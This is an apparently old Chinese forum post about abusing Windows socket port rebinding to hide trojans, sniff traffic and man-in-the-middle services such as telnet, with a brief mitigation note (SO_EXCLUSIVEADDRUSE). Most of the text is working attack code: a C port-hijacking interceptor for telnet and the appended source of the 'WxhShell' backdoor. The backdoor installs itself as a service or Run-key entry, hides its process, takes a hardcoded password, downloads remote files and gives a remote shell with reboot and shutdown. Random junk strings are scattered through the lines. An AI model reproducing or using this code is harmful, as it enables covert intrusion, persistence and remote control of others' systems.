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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ss4<s 5:y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1^HUu"Kt  
3v:c".O2O  
  saddr.sin_family = AF_INET; z"*$ .  
% QKlvmI"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %CaUC'  
$mF(6<w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ja Ot"iU.B  
/`x)B(b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OpT0V]k^"9  
D,)^l@UP  
  这意味着什么?意味着可以进行如下的攻击: =#Qm D=  
MV,;l94?%=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ud @7%%  
wRLj>nc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &qP@WFl  
w*-1*XNA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l*0`{R  
gvi]#|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S$egsK"~  
:87HXz6]jS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d J;y>_  
j%Cr)' H?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pqc +pE  
0s%rd>3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3~uWrZ.u  
K7 N)VG  
  #include g'Id3 1r'  
  #include 4\?GA`@  
  #include s/=.a2\  
  #include    *wY { ~zh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iO?Sf8yJ:  
  int main() ^9zFAY.|  
  { "k%B;!We)  
  WORD wVersionRequested; mEM/}]2  
  DWORD ret; `=B0NC.3  
  WSADATA wsaData; k.d Q;v}  
  BOOL val; =C[2"Y4JK0  
  SOCKADDR_IN saddr; {q}#  Sq  
  SOCKADDR_IN scaddr; 6'^Gh B  
  int err; oB8x_0#n  
  SOCKET s; my|UlZ(qg  
  SOCKET sc; ,7{}}l  
  int caddsize; g^qbd$}  
  HANDLE mt; ]F]!>dKA  
  DWORD tid;   ?g5u#Q> !  
  wVersionRequested = MAKEWORD( 2, 2 ); 6}>:sr  
  err = WSAStartup( wVersionRequested, &wsaData ); 4X prVB  
  if ( err != 0 ) { s7~[7  
  printf("error!WSAStartup failed!\n"); <X{hW^??)  
  return -1; 1 =cFV'  
  } "Y7 ]t:8  
  saddr.sin_family = AF_INET; vG7aT  
   f4k\hUA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -}W `  
0qV"R7TW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H:DTvv8e{  
  saddr.sin_port = htons(23); ezOZHY>|#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~D9VjXfL)  
  { LT5rLdn  
  printf("error!socket failed!\n"); mR? } gR  
  return -1; hSvA dT]m  
  } _cW (R,i  
  val = TRUE; #{t?[JUn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t[.wx.y&0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;goR0PN  
  { %Ny`d49&  
  printf("error!setsockopt failed!\n"); cVR3_e{&H  
  return -1; #0+`dI_5/  
  } DB^"iof  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P0En&g+~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bwm?\l.A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AxN.k  
~4Gs\U:!Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y,*>+xk,  
  { 4l2xhx  
  ret=GetLastError(); u I \zDR  
  printf("error!bind failed!\n"); JVORz-uBs  
  return -1; [;Q8xvVZ'  
  } kJJUu  
  listen(s,2); sp0j2<$a  
  while(1) 6G<t1?_yD  
  { G*;}6 bj|?  
  caddsize = sizeof(scaddr); jQKlJi2xu  
  //接受连接请求 MBbycI,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e$E~@{[1)  
  if(sc!=INVALID_SOCKET) Y]5\%JR  
  { 6!,Am^uXM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U[ $KQEJYj  
  if(mt==NULL) Rv)!p~V8  
  { [U]ouh)  
  printf("Thread Creat Failed!\n"); L29,Y=n@  
  break; ,6zH;fi  
  } y1JxAj  
  } r 3@Q(Rb  
  CloseHandle(mt); z|Hc=AU8y  
  } .oJs"=h:m  
  closesocket(s); s7FJJTn  
  WSACleanup(); i4Y_5  
  return 0; s_=/p5\  
  }   KUdpOMYX  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3&D;V;ON}_  
  { W |]24  
  SOCKET ss = (SOCKET)lpParam; ]U]22I'+$2  
  SOCKET sc; qIwI]ub~  
  unsigned char buf[4096]; ?I`BbT}  
  SOCKADDR_IN saddr; y&0&K 4aa  
  long num; uv++Kj!  
  DWORD val; }LH>0v_<Y  
  DWORD ret; g<[_h(xDeG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <By R!Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OE!:`Bo3T  
  saddr.sin_family = AF_INET; Ojkbv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ! af35WF  
  saddr.sin_port = htons(23); {d\erG(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iQczvn)"m  
  { APT'2 -I_  
  printf("error!socket failed!\n");  `x"0  
  return -1; rsP3?.E  
  } \o^M,yI  
  val = 100; _Cv({m&N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IB x?MU#.  
  { xo0",i f8  
  ret = GetLastError(); _wWh7'u~G  
  return -1; =|n NC  
  } Aa;R_Jz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W"fdK_F\  
  { YF=@nR$_~j  
  ret = GetLastError(); +[9~ta|j  
  return -1; hq.z:D  
  } =6t)-53  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tw8@&8"  
  { %-+lud  
  printf("error!socket connect failed!\n"); +MKr.k2  
  closesocket(sc); ;m}lmq,  
  closesocket(ss); N}wi<P:*)  
  return -1; _pQ9q&i4  
  } 6uQfe? aD  
  while(1) ZD1UMB0$4  
  { y&\ J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "sz)~Q'W5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8=Di+r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B`a5%asJn  
  num = recv(ss,buf,4096,0); lhAwTOn`Q  
  if(num>0) SX|b0S,  
  send(sc,buf,num,0); XpWqL9s_E  
  else if(num==0) GmN} +(  
  break; u>H^bCXI  
  num = recv(sc,buf,4096,0); \LRno3  
  if(num>0) L<Q1acoZm  
  send(ss,buf,num,0); #rzq9}9tB  
  else if(num==0) Q"CZ}B1<  
  break; >Vc_.dR)E  
  } .O'S@ %]  
  closesocket(ss); ]j0v.[SX  
  closesocket(sc); ?gjM]Ki%:  
  return 0 ; Zb`}/%\7  
  } qt+vmi+~  
a3 wUB  
?<,9X06dP  
========================================================== }:YS$'by  
{<&I4V@+  
下边附上一个代码,,WXhSHELL c+#GX)zh\G  
!l@IG C  
========================================================== ~.mnxn  
-G]\"ZGi  
#include "stdafx.h" I(/W+ o  
|)i- c`x  
#include <stdio.h> GDP@M)~6*  
#include <string.h> V;ZyAp  
#include <windows.h> ^x %yIS  
#include <winsock2.h> }S3m wp<Y  
#include <winsvc.h> ?Jm/v%0O  
#include <urlmon.h> -DhF> 4f  
<r.f ?chf  
#pragma comment (lib, "Ws2_32.lib") a3ve%b  
#pragma comment (lib, "urlmon.lib") dx}()i\@  
Fkj\U^G  
#define MAX_USER   100 // 最大客户端连接数 ):jK sP ,  
#define BUF_SOCK   200 // sock buffer ,ju1:`  
#define KEY_BUFF   255 // 输入 buffer pq+Gsu1^  
e2UbeP  
#define REBOOT     0   // 重启 i 4lR$]@  
#define SHUTDOWN   1   // 关机 A1Mr  
z m\=4^X  
#define DEF_PORT   5000 // 监听端口 J6_H lt  
4vPQuk!  
#define REG_LEN     16   // 注册表键长度 TLl*gED  
#define SVC_LEN     80   // NT服务名长度 jwyJ=W-  
8263  
// 从dll定义API Y(78qs1w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~HI|t2C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CT3wd?)z`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  .VuZ=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6cVaO@/(  
SC74r?N FA  
// wxhshell配置信息 GKH 7Xx(  
struct WSCFG { 9s6, &'  
  int ws_port;         // 监听端口  nsij;C  
  char ws_passstr[REG_LEN]; // 口令 "d/x`Dx  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0wB ?U~  
  char ws_regname[REG_LEN]; // 注册表键名 ^4x(a&  
  char ws_svcname[REG_LEN]; // 服务名 X3".  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9yajtR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 thOQcOf0$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]zmY] 5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?o$6w(]''  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (ScL  C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;S"^O AM  
YMj z , N  
}; Q?L-6]pg  
$d{{><  
// default Wxhshell configuration E).N u  
struct WSCFG wscfg={DEF_PORT, V9I5/~0c  
    "xuhuanlingzhe", [m?eSq6e2b  
    1, ]Hc `<P  
    "Wxhshell", L qMH]W  
    "Wxhshell", &sh %]o8  
            "WxhShell Service", A &~G  
    "Wrsky Windows CmdShell Service", tmDI2Z%7  
    "Please Input Your Password: ", \,!FL))yC  
  1, (WCpaC  
  "http://www.wrsky.com/wxhshell.exe", mNc (  
  "Wxhshell.exe" 8GN0487H  
    }; qi;@A-cq  
 [53rSr  
// 消息定义模块 Ms=x~o'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d2'9C6t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ry,_ %j3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,jQkR^]j-  
char *msg_ws_ext="\n\rExit."; K!7o#"GM  
char *msg_ws_end="\n\rQuit."; e!d& #ofw|  
char *msg_ws_boot="\n\rReboot..."; _=3H!b =  
char *msg_ws_poff="\n\rShutdown..."; K8XXO"  
char *msg_ws_down="\n\rSave to "; (zwxrOS  
2.p7fu  
char *msg_ws_err="\n\rErr!"; t(?m!Z?tb  
char *msg_ws_ok="\n\rOK!"; -8HIsRh  
wr~# rfH  
char ExeFile[MAX_PATH]; H|tbwU)J  
int nUser = 0; lfOF]Kiqr  
HANDLE handles[MAX_USER]; o )GNV  
int OsIsNt; Yn+/yz5k_  
T|GRkxd,E3  
SERVICE_STATUS       serviceStatus; aAh")B2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |fYNkD 8z1  
?y>xC|kt  
// 函数声明 Mc>]ZAzr  
int Install(void); O _yJR  
int Uninstall(void); mhH[jO)  
int DownloadFile(char *sURL, SOCKET wsh); TW(rK&  
int Boot(int flag); cR[)[9}  
void HideProc(void); 4xk'R[v  
int GetOsVer(void); YT+fOndjaF  
int Wxhshell(SOCKET wsl); =O?<WJoK  
void TalkWithClient(void *cs); IxAKIa[HY  
int CmdShell(SOCKET sock); d!{,[8&  
int StartFromService(void); K 4j'e6  
int StartWxhshell(LPSTR lpCmdLine); :O-Y67>&  
U;Se'*5xv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3Ew-Ia%A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _}:9ic]e  
.n[!3X|d  
// 数据结构和表定义 3o9`Ko0  
SERVICE_TABLE_ENTRY DispatchTable[] = 5?kJ]:  
{ TFb9gOTJ  
{wscfg.ws_svcname, NTServiceMain}, Ytmt+9  
{NULL, NULL} fKY6stJE  
}; h`-aO u  
fLA!oeq{&}  
// 自我安装 ~b+4rYNxU_  
int Install(void) wQgW9546  
{ kIWQ _2  
  char svExeFile[MAX_PATH]; a)^f`s^aa  
  HKEY key; ;g?oU "YM  
  strcpy(svExeFile,ExeFile); v3x_8n$C9  
8G; t[9  
// 如果是win9x系统,修改注册表设为自启动 cW4:eh  
if(!OsIsNt) { 1`)ie%=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z@>hN%{d+g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OE]z C  
  RegCloseKey(key); Bwj^9J/ob  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5, R\tJCK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Lwgj7|~  
  RegCloseKey(key); coT|t T  
  return 0; w{f!t8C*s  
    } /5 B{szf  
  } RMUR@o5N  
} L}UJ`U  
else { /.9j$iK#  
+ObP[F  
// 如果是NT以上系统,安装为系统服务 h}k&#X)7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); srXGe`VL  
if (schSCManager!=0) 3 GmU$w  
{ t}>6"^}U  
  SC_HANDLE schService = CreateService A&*lb7X  
  ( _p<W  
  schSCManager, ];i-d7C  
  wscfg.ws_svcname, 3`uv/O2~i  
  wscfg.ws_svcdisp, :akEl7/&  
  SERVICE_ALL_ACCESS, p \A^kX^5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %K8Ei/p\t]  
  SERVICE_AUTO_START, =># S7=  
  SERVICE_ERROR_NORMAL, $"1Unu&P  
  svExeFile, {XH!`\  
  NULL, +EjH9;gx  
  NULL, c,pR+DP  
  NULL, )#n0~7 &  
  NULL, @[h)M3DFd  
  NULL & 9}L +/,  
  ); QH@?.Kb_qU  
  if (schService!=0) JX8Hn |  
  { CB_ww=  
  CloseServiceHandle(schService); ]Q1?Ox:'  
  CloseServiceHandle(schSCManager); :tU&d(8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L;N)l2m.\  
  strcat(svExeFile,wscfg.ws_svcname); s ;EwAd(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AdBB#zd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |YCGWJaci  
  RegCloseKey(key); {`?C5<r  
  return 0; Qz)1wf'y  
    } T n.Cj5  
  } V'?bZcRr~  
  CloseServiceHandle(schSCManager); %\Dvng6$  
} *W,tq(%tQ  
} nAIV]9RAZ%  
$I*ye+a*{q  
return 1; j_H"m R  
} 8CCd6)cG  
C".nB12  
// 自我卸载 \GhL{Awv&a  
int Uninstall(void) |R[@u=7s  
{ )y>o;^5'  
  HKEY key; Ilt!O^  
-OV:y],-  
if(!OsIsNt) { >%Rb}Ki4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sl,X*[HGd  
  RegDeleteValue(key,wscfg.ws_regname); /g$cQ=c  
  RegCloseKey(key); d&[Ct0!++u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y'K+O  
  RegDeleteValue(key,wscfg.ws_regname);  dxHKXw  
  RegCloseKey(key); /zxLnT; 5  
  return 0; `;KU^dH  
  } C>l{_J)n  
} MI8f(ZJK5  
} o[Ojl .r<  
else { 8 KDF*%7'  
U`YPzZp_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EJC{!06L'/  
if (schSCManager!=0) m# y`  
{ 'Mp8!9=&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2"0q9Jg  
  if (schService!=0) Y2lBQp8'|  
  { XS:W{tL!  
  if(DeleteService(schService)!=0) { (4:&tm/;  
  CloseServiceHandle(schService); /mS|Byx  
  CloseServiceHandle(schSCManager); )v\zaz  
  return 0; Gg'sgn   
  } G@$Y6To[  
  CloseServiceHandle(schService); hG1\  
  } w=e_@^Fkx  
  CloseServiceHandle(schSCManager); [/Q .MmnL  
} cD^`dn%$  
} t2bv nh  
)w.+( v(  
return 1; ~nQ=iB  
} g2?kC^=z=  
~!V5Ug_2  
// 从指定url下载文件 KMs[/|HX\  
int DownloadFile(char *sURL, SOCKET wsh) q,Oj  
{ C:r@)Mhq  
  HRESULT hr; ,<Ag&*YE4  
char seps[]= "/"; *??!~RE  
char *token; g+( Cs  
char *file; IBP3  
char myURL[MAX_PATH]; -4 *94<  
char myFILE[MAX_PATH]; K)ZW1d;  
" a&|{bv  
strcpy(myURL,sURL); r6,EyCWcCs  
  token=strtok(myURL,seps); IKz3IR eu  
  while(token!=NULL) c<k=8P   
  { k4n 4 BL  
    file=token; cWp5' e]A  
  token=strtok(NULL,seps); Z--A:D>  
  } S['rfD>9  
0f_+h %%=  
GetCurrentDirectory(MAX_PATH,myFILE); ]VKM3[   
strcat(myFILE, "\\"); H[WsHq;T+9  
strcat(myFILE, file); |2L|Zp&  
  send(wsh,myFILE,strlen(myFILE),0); Oc,E\~  
send(wsh,"...",3,0); !g`^<y!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l+ ,p=  
  if(hr==S_OK) 61aU~w11a  
return 0; ?IN'Dc9&%-  
else kVmR v.zZ  
return 1; k^H&IS!  
JJQS7,vG  
} ^y,Ex;6o  
*dAQ{E(rO  
// 系统电源模块 ]NEr]sc-"F  
int Boot(int flag) X_3*DqY  
{ L2sUh+'|  
  HANDLE hToken; 2@Nt6r  
  TOKEN_PRIVILEGES tkp; [ pe{,lp  
xS'Kr.S  
  if(OsIsNt) { +nIjW;RU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?5IF;vk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P Nf_{4  
    tkp.PrivilegeCount = 1; sBq-"YcjR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hl/) 1sOIR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 69"4/n7B?  
if(flag==REBOOT) { mG*ER^Y@D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gX%"Ki7.  
  return 0; L-9 AJk>V  
} S{Q2KD  
else { #FhgKwx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cr`NHl/XF  
  return 0; 2JhE`EVH  
} `DFo:w!k  
  } gTQc=,3l3  
  else { rj ] ~g  
if(flag==REBOOT) { %MM)5MsB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U^;|as  
  return 0; KaIkO8Dq0  
} *'n L[]  
else { AX]cM)w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nZX`y -AZ  
  return 0; M{jJ>S{g  
} u- }@^Y$M  
} 98rO]rg  
KIGMWS^^  
return 1; pt%*Y.)az  
} 4J{W8jX  
|4j'KM;U  
// win9x进程隐藏模块 ]^0mh["  
void HideProc(void) }3/|;0j$  
{ >H,5MM!  
A D%9;KQ8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [85b+SKW  
  if ( hKernel != NULL ) =lmelo#m&  
  { {rzvZ0-j}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +[` )t/   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EEP&Y?  
    FreeLibrary(hKernel); LYke\/ md  
  } "#.L\p{Zy  
?BR Z){)  
return; 0C4Os p  
} ) S-Fuq4i4  
+O4//FC-"  
// 获取操作系统版本 ()ww9L2  
int GetOsVer(void) IqFmJs|C  
{ AHzm9U @  
  OSVERSIONINFO winfo; XzB3Xs?W2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .\+c{  
  GetVersionEx(&winfo); DFQ`<r&!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iSNbbu#  
  return 1; eB9F35[  
  else ?L"x>$  
  return 0; H<"EE15  
} kbSl.V%)  
~xJ ^YkyH  
// 客户端句柄模块 5R6QZVc  
int Wxhshell(SOCKET wsl) bsc#Oq]  
{ qga\icQr  
  SOCKET wsh; Ckhw d  
  struct sockaddr_in client; D7Y?$=0ycb  
  DWORD myID; p\}!uS4 (  
;?Q0mXr  
  while(nUser<MAX_USER) \[ W`hhJ  
{ CdKs+x&tZ  
  int nSize=sizeof(client); zVis"g`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ypNeTR$4  
  if(wsh==INVALID_SOCKET) return 1; y\:,.cZ+TQ  
.*?)L3n+t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E)]emeG d  
if(handles[nUser]==0) \==Mgy2J8  
  closesocket(wsh); c^R "g)gr  
else 1pqYB]*u_  
  nUser++; GS*_m4.Ry6  
  } u4xJ-Vu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UMH~Q`"  
D=)qd@,K  
  return 0; ?sxf_0*  
} +!t *LSF  
Xy9'JVV6  
// 关闭 socket {"0n^!  
void CloseIt(SOCKET wsh) _+gpdQq\p  
{ xEB 4oQ5  
closesocket(wsh); PAiVUGp5[  
nUser--; xzRC %  
ExitThread(0); 6wb M$|yFj  
} cGW L'r)P  
ZRUAw,T*  
// 客户端请求句柄 G~NhBA9  
void TalkWithClient(void *cs) V{{UsEVO  
{ >P6U0  
FYK}AR<=  
  SOCKET wsh=(SOCKET)cs; kEg~yN  
  char pwd[SVC_LEN]; <4;f?e u  
  char cmd[KEY_BUFF]; 7VJf~\%1j  
char chr[1]; )' 2vUt`_7  
int i,j; N]|U-fN\  
'YEiT#+/  
  while (nUser < MAX_USER) { n4zns,:)/  
& aF'IJC  
if(wscfg.ws_passstr) { &HJ~\6r\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gKb5W094@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y C}$O2  
  //ZeroMemory(pwd,KEY_BUFF); tI2p-d9B  
      i=0; U7G|4(  
  while(i<SVC_LEN) { b*a}~1  
)sapUnqrlR  
  // 设置超时 16I(S  
  fd_set FdRead; F#{ PJ#  
  struct timeval TimeOut; -ANq!$E  
  FD_ZERO(&FdRead); I q47^  
  FD_SET(wsh,&FdRead); t aOsC! Bp  
  TimeOut.tv_sec=8; ^[zF IO  
  TimeOut.tv_usec=0; =`%%*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dGc>EZSdj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !?)iP  
..^,*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c>Ljv('bj  
  pwd=chr[0]; fGLOXbsA  
  if(chr[0]==0xd || chr[0]==0xa) { t,;b*ZR  
  pwd=0; lc0ZfC  
  break; wmPpE_ {  
  } 7h/{F({r=  
  i++; ZZ6F0FLXJ  
    } Z8Clm:S  
o r]s  
  // 如果是非法用户,关闭 socket HjN )~<j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dzMI5fA<_  
} uO-R:MC  
G,i%:my7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8%#uZG\}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =;xlmndT,  
(.3L'+F  
while(1) { %25_  
( ]o6Pi  
  ZeroMemory(cmd,KEY_BUFF); 'lNl><e-  
`P4qEsZE>`  
      // 自动支持客户端 telnet标准   )O%lh 8fI  
  j=0; Qs{Qg<}  
  while(j<KEY_BUFF) { Onoi6^G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Q-&]Vg  
  cmd[j]=chr[0]; Qi7^z;  
  if(chr[0]==0xa || chr[0]==0xd) { }Mo9r4}  
  cmd[j]=0; Ic&t_B*i}]  
  break; \9k{"4jX\  
  } 4/ U]7Y  
  j++; ikRIL2Y  
    } Tm^zo Vi  
/ADxHw`k  
  // 下载文件 x{*!"a>  
  if(strstr(cmd,"http://")) { Lou4M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [I4FU7mpH  
  if(DownloadFile(cmd,wsh)) )3B5"b,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )SUN+YV^  
  else <CmsnX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N<>dg  
  } 6eK^T=  
  else { 0XYO2 k  
qryt1~Dq  
    switch(cmd[0]) { Ft.BfgJ$  
  ^Q:K$!  
  // 帮助 #1bgV  
  case '?': { JN KZ'9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T*T.\b  
    break; C${TC+z  
  } 4QZy-a*tA  
  // 安装 i)(Q Npv  
  case 'i': { #Aanv  
    if(Install()) wbS++cF<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c\b>4 &n  
    else S~Hj. d4/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( L6`_)  
    break; 1aT$07G0  
    } GKd>AP_  
  // 卸载 z"O-d<U5  
  case 'r': { )eV40l$ M  
    if(Uninstall()) z0W+4meoH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0?h .X= G  
    else 1a!h&!$9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }I`|*6Up  
    break;  Fszk?0T  
    } q%vUEQLBp  
  // 显示 wxhshell 所在路径 LGMFv  
  case 'p': { zXCIn  
    char svExeFile[MAX_PATH]; 5y'Yosy:  
    strcpy(svExeFile,"\n\r"); )yK!qu  
      strcat(svExeFile,ExeFile); Ji[w; [qL  
        send(wsh,svExeFile,strlen(svExeFile),0); ;i#gk%- 2  
    break; gPi_+-@  
    } _# F'rl6'  
  // 重启 #"M Pe4  
  case 'b': { By_Ui6:D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e](=)h|  
    if(Boot(REBOOT)) h5gXYmk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  k WtUj  
    else { .2P?1HpK  
    closesocket(wsh); y b G)=0  
    ExitThread(0); wm8x1+P  
    } S_CtE M  
    break; >8tuLd*T  
    } HKkf+)%)x  
  // 关机 N [u Xo  
  case 'd': { Nw2 bn  
